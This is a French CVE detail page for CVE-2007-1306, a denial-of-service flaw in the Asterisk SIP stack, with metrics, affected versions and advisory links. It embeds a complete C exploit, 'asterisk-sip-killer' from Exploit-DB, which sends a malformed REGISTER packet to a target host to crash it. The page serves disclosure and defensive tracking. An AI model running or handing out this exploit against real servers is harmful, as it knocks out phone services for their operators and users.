CVE-2007-1306 : Détail

CVE-2007-1306

18.7%V4
Network
2007-03-06
23h00 +00:00
2017-07-28
10h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Asterisk 1.4 before 1.4.1 and 1.2 before 1.2.16 allows remote attackers to cause a denial of service (crash) by sending a Session Initiation Protocol (SIP) packet without a URI and SIP-version header, which results in a NULL pointer dereference.

Informations du CVE

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 7.8 AV:N/AC:L/Au:N/C:N/I:N/A:C nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 3407

Date de publication : 2007-03-03 23h00 +00:00
Auteur : fbffff
EDB Vérifié : Yes

/* this will cause asterisk to segfault, the bug that this exploits has been patched in release 1.2.16 & 1.4.1 CLI> Program received signal SIGSEGV, Segmentation fault. [Switching to Thread 1082719152 (LWP 2510)] register_verify (p=0x81cf600, sin=0x4088e750, req=0x4088e760, uri=0x0) at chan_sip.c:8257 8257 while (*t && *t > ' ' && *t != ';') (gdb) build: gcc -o asterisk-sip-killer asterisk-sip-killer.c run: ./asterisk-sip-killer -h <targethost> */ #include <stdio.h> #include <string.h> #include <arpa/inet.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <errno.h> #include <netdb.h> #include <netinet/tcp.h> #define SIP_UDP_PORT 5060 struct udp_session { int sd; struct sockaddr_in saddr; }; int make_udp(struct udp_session *p, char *remotehost, int port) { int sd; int ret; struct sockaddr_in saddr; struct hostent *he; sd = socket(AF_INET,SOCK_DGRAM,0); if (sd == -1) { printf("error making socket\n"); return -1; } he = gethostbyname(remotehost); saddr.sin_family = AF_INET; saddr.sin_port = htons(port); saddr.sin_addr.s_addr = inet_addr(remotehost); memset(&(saddr.sin_zero), '\0', 8); p->sd = sd; memcpy(&p->saddr,&saddr,sizeof(struct sockaddr_in)); printf("udp socket ready\n"); return 0; } void kill_asterisk(struct udp_session *sess) { int ret; char *p = "REGISTER \r\n" "Via: SIP/2.0/UDP 192.168.204.130:5060;branch=z9hG4bK1d97e14f\r\n" "Max-Forwards: 70\r\n" "From: <sip:666@192.168.204.130>;tag=as253946cf\r\n" "To: <sip:100@192.168.204.130>\r\n" "Call-ID: 7e64a49e5cf018231228938050e43d3b@127.0.0.1\r\n" "CSeq: 104 REGISTER\r\n" "User-Agent: Asterisk PBX\r\n" "Expires: 120\r\n" "Contact: <sip:666@192.168.204.130>\r\n" "Event: registration\r\n" "Content-Length: 0\r\n"; ret = sendto(sess->sd, p, strlen(p), 0, (struct sockaddr *)&sess->saddr, sizeof(struct sockaddr)); if (ret) { printf("You may have well shutdown a asterisk server\n"); } else { printf("there was a issue sending the request\n"); return; } return; } int main(int argc, char **argv) { int i = 0; char *r_host = NULL; struct udp_session *connection_out; for (i=0;i<argc;i++) { if (!(strcmp(argv[i],"-h"))) { printf("it looks like you want a host entry\n"); r_host = argv[i+1]; printf("r_host: %s\n", r_host); } } if (!r_host) { printf("umm you forgot the -h <host> option!\n"); return 0; } if (!(connection_out = (struct udp_session *)malloc(sizeof(struct udp_session)))) { printf("malloc failed your computer sucks\n"); return 0; } make_udp(connection_out, r_host, SIP_UDP_PORT); kill_asterisk(connection_out); free(connection_out); return 0; } // milw0rm.com [2007-03-04]

Products Mentioned

Configuraton 0

Digium>>Asterisk >> Version 1.2.0_beta1

    Digium>>Asterisk >> Version 1.2.0_beta2

      Digium>>Asterisk >> Version 1.2.6

      Digium>>Asterisk >> Version 1.2.7

      Digium>>Asterisk >> Version 1.2.8

      Digium>>Asterisk >> Version 1.2.9

      Digium>>Asterisk >> Version 1.2.10

      Digium>>Asterisk >> Version 1.2.11

      Digium>>Asterisk >> Version 1.2.12

      Digium>>Asterisk >> Version 1.2.12.1

      Digium>>Asterisk >> Version 1.2.13

      Digium>>Asterisk >> Version 1.2.14

      Digium>>Asterisk >> Version 1.2.15

      Digium>>Asterisk >> Version 1.2_beta1

        Digium>>Asterisk >> Version 1.2_beta2

          Digium>>Asterisk >> Version 1.4.0

          Digium>>Asterisk >> Version 1.4.0_beta1

            Digium>>Asterisk >> Version 1.4.0_beta2

              Références

              http://www.vupen.com/english/advisories/2007/0830
              Tags : vdb-entry, x_refsource_VUPEN
              http://www.securityfocus.com/bid/22838
              Tags : vdb-entry, x_refsource_BID
              http://www.osvdb.org/33888
              Tags : vdb-entry, x_refsource_OSVDB
              http://secunia.com/advisories/24578
              Tags : third-party-advisory, x_refsource_SECUNIA
              http://asterisk.org/node/48319
              Tags : x_refsource_CONFIRM
              http://asterisk.org/node/48320
              Tags : x_refsource_CONFIRM
              http://secunia.com/advisories/24380
              Tags : third-party-advisory, x_refsource_SECUNIA
              http://security.gentoo.org/glsa/glsa-200703-14.xml
              Tags : vendor-advisory, x_refsource_GENTOO
              http://secunia.com/advisories/25582
              Tags : third-party-advisory, x_refsource_SECUNIA
              http://www.securitytracker.com/id?1017723
              Tags : vdb-entry, x_refsource_SECTRACK
              http://www.kb.cert.org/vuls/id/228032
              Tags : third-party-advisory, x_refsource_CERT-VN
              http://www.debian.org/security/2007/dsa-1358
              Tags : vendor-advisory, x_refsource_DEBIAN